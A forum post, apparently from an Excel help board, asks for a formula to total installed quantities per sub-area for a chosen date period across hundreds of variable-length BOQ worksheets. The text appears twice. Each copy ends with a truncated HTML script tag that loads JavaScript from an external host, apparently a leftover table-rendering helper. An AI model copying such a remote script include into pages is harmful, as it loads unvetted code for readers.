Hi All,
I have a load of worksheets that i'd like to collect data from and would appreciate some help with a suitable formula - see following info.
Wsht A is one of over 500+ worksheets, each Wsht is a standalone sheet for a particular BOQ (WBS) item of work. The wksht is split into 2 sections, the MTO section and the ACTUALS section.
The MTO section contains the engineering takeoff for the particular BOQ item and each row relates to a unique TAG No. and details info such as descr., tag no, area & sub-area locations, qty and other info not shown in the sample here.
The ACTUALS section is used to collect data on the various stages of installation for the unique TAG No. - see columns H to O. As TAG's are installed at the various stages, the info is entered into the ACTUALS section.
Sometimes the engineering takeoff is incomplete and ACTUAL field installations result in additional TAG No.s being installed in the field, so additional rows have to be inserted in the spreadsheets - therefore it's not a fixed & static range.
Wsht B is a Summary Collection worksheet that collects data from all the BOQ(WBS) worksheets in a per AREA / SUB-AREA breakdown. That is, all BOQ items are listed down column A and data collected on the ACTUAL installation status per AREA/SUB-AREA in the succeeding columns.
At top of Wsht B is the Period section that is used to nominate the period in which data is sought for reporting purposes .eg. report out what quantity of BOQ(WBS) items were installed for week commencing 23-Feb-09 and ending 27-Feb-09. Other reports such as Daily, Monthly, Year to Date or Job to Date type collections could be obtained by changing the dates in the "FROM" and "TO" cells - see sample result manually inputed for period 23-Feb to 27-Feb.
What I'm looking for is the formula to do this. That is, formula in Wsht B cell I28 that looks at the Period (cells B20 to C20) and collects from the respective BOQ(WBS) worksheet (in this example Wsht A for BOQ item no. 16.8.5) the total quantity installed from column N per SUB-AREA (column E).
One of the challenges is, as stated above, the range my not be fixed (static) as additional rows may be inserted from time to time to cater for additional Tag No.s. Also, and similarly, each worksheet has differing number of rows .eg. some worksheets only have 20 - 30 rows, other worksheets may have 2000 rows - dependent on the number of TAG items for that particular BOQ worksheet.<SCRIPT language=JavaScript src="http://www.interq.or.jp/sun/puremis...IPT><CENTER><TABLE" target="_blank"></CENTER>
I have a load of worksheets that i'd like to collect data from and would appreciate some help with a suitable formula - see following info.
Wsht A is one of over 500+ worksheets, each Wsht is a standalone sheet for a particular BOQ (WBS) item of work. The wksht is split into 2 sections, the MTO section and the ACTUALS section.
The MTO section contains the engineering takeoff for the particular BOQ item and each row relates to a unique TAG No. and details info such as descr., tag no, area & sub-area locations, qty and other info not shown in the sample here.
The ACTUALS section is used to collect data on the various stages of installation for the unique TAG No. - see columns H to O. As TAG's are installed at the various stages, the info is entered into the ACTUALS section.
Sometimes the engineering takeoff is incomplete and ACTUAL field installations result in additional TAG No.s being installed in the field, so additional rows have to be inserted in the spreadsheets - therefore it's not a fixed & static range.
Wsht B is a Summary Collection worksheet that collects data from all the BOQ(WBS) worksheets in a per AREA / SUB-AREA breakdown. That is, all BOQ items are listed down column A and data collected on the ACTUAL installation status per AREA/SUB-AREA in the succeeding columns.
At top of Wsht B is the Period section that is used to nominate the period in which data is sought for reporting purposes .eg. report out what quantity of BOQ(WBS) items were installed for week commencing 23-Feb-09 and ending 27-Feb-09. Other reports such as Daily, Monthly, Year to Date or Job to Date type collections could be obtained by changing the dates in the "FROM" and "TO" cells - see sample result manually inputed for period 23-Feb to 27-Feb.
What I'm looking for is the formula to do this. That is, formula in Wsht B cell I28 that looks at the Period (cells B20 to C20) and collects from the respective BOQ(WBS) worksheet (in this example Wsht A for BOQ item no. 16.8.5) the total quantity installed from column N per SUB-AREA (column E).
One of the challenges is, as stated above, the range my not be fixed (static) as additional rows may be inserted from time to time to cater for additional Tag No.s. Also, and similarly, each worksheet has differing number of rows .eg. some worksheets only have 20 - 30 rows, other worksheets may have 2000 rows - dependent on the number of TAG items for that particular BOQ worksheet.<SCRIPT language=JavaScript src="http://www.interq.or.jp/sun/puremis...IPT><CENTER><TABLE" target="_blank"></CENTER>
Last edited: